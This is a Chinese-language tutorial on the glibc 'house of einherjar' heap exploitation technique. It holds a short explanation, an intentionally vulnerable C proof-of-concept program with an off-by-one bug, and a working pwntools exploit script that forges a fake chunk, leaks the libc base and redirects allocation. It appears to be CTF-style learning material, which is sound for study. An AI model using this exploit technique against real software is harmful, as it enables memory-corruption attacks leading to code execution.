house of einherjar
1. 利用原理
-
两个物理相邻的 chunk 会共享
prev_size
字段,尤其是当低地址的 chunk 处于使用状态时,高地址的 chunk 的该字段便可以被低地址的 chunk 使用。因此,我们有希望可以通过写低地址 chunk 覆盖高地址 chunk 的prev_size
字段。 -
一个 chunk PREV_INUSE 位标记了其物理相邻的低地址 chunk 的使用状态,而且该位是和 prev_size 物理相邻的。
-
后向合并时,新的 chunk 的位置取决于
chunk_at_offset(p, -((long) prevsize))
。 -
那么如果我们可以同时控制一个 chunk prev_size 与 PREV_INUSE 字段,那么我们就可以将新的 chunk 指向几乎任何位置。
2. 利用条件
- off by one(覆盖pre_inuse)
- 存在可以编辑的空间构造fakechunk
3. poc
/*************************************************************************
> File Name: einherjar.c
> Author:
> Mail:
> Created Time: Wed 26 May 2021 07:42:30 AM CST
************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void){
char* s0 = malloc(0x200);
char* s1 = malloc(0x18);
char* s2 = malloc(0xf0);
char* s3 = malloc(0x20);
printf("step 1: leak address where you want to edit.\n");
printf("usually,the address contains gloable ptr,we can use this ptr to edit got table.\n");
printf("Address of s0 :%p,where we can write fake chunk.\n", s0);
printf("Edit fake chunk in s0\n");
read(0, s0, 0x200);
printf("Triger off by one in s1\n");
read(0, s1, 0x19);
printf("Now triger house of einherjar\n");
free(s2);
printf("After einherjar,we need to modify unstored bin's chunk head.\n");
write(1,s0,0x200);
printf("Now modify the fake chunk head.\n");
read(0,s0,0x200);
printf("Malloc chunk will at fake chunk,\n");
char* d0 = malloc(0x68);
printf("Now, we can edit fake chunk.\n");
read(0,d0,0x70);
read(0,d0,0x70);
return 0;
}
4. exp
#!/usr/bin/env python
# coding=utf-8
# Author : huzai24601
from pwn import *
from LibcSearcher import *
#context.terminal = ['terminal', '-x', 'sh', '-c']
context(arch='amd64',os='linux',log_level='debug')
elf = ELF('./einherjar')
p=process(elf.path)
local_libc_64 = ELF('/lib/x86_64-linux-gnu/libc.so.6')
s=lambda data :p.send(data)
sa=lambda delim,data :p.sendafter(delim, data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim, data)
r=lambda numb=4096 :p.recv(numb)
ru=lambda delims :p.recvuntil(delims)
uu64=lambda data :u64(data.ljust(8,'\x00'))
leak=lambda name,addr :log.success('{} ===> {:#x}'.format(name, addr))
def debug():
gdb.attach(p)
pause()
#leak fake chunk address
ru('0x')
fake_addr = int(r(7),16)
leak("fake_addr",fake_addr)
#create fake chunk,avoid unlink check
#ATTENTION: the fd and bk's address is fake chunk's addr
payload = p64(0) + p64(0x221) + p64(fake_addr)*2
sa('s0\n',payload)
#triger off by one
#ATTENTION: tht presize is the offset between fake chunk and the chunk we will free
payload = 'a'*0x10 + p64(0x220) + '\x00'
sa('s1\n',payload)
#leak libc
main_area = uu64(ru('\x7f')[-6:]) - 88
libc_base = main_area - 0x3c4b20
leak("libc_base",libc_base)
#modify the unstored bin's head
payload = p64(0) + p64(0x71) + p64(main_area+88)*2
s(payload)
# now we can change s0 by edit d0
payload = 'write s0 by edit d0'
s(payload)
debug()
p.interactive()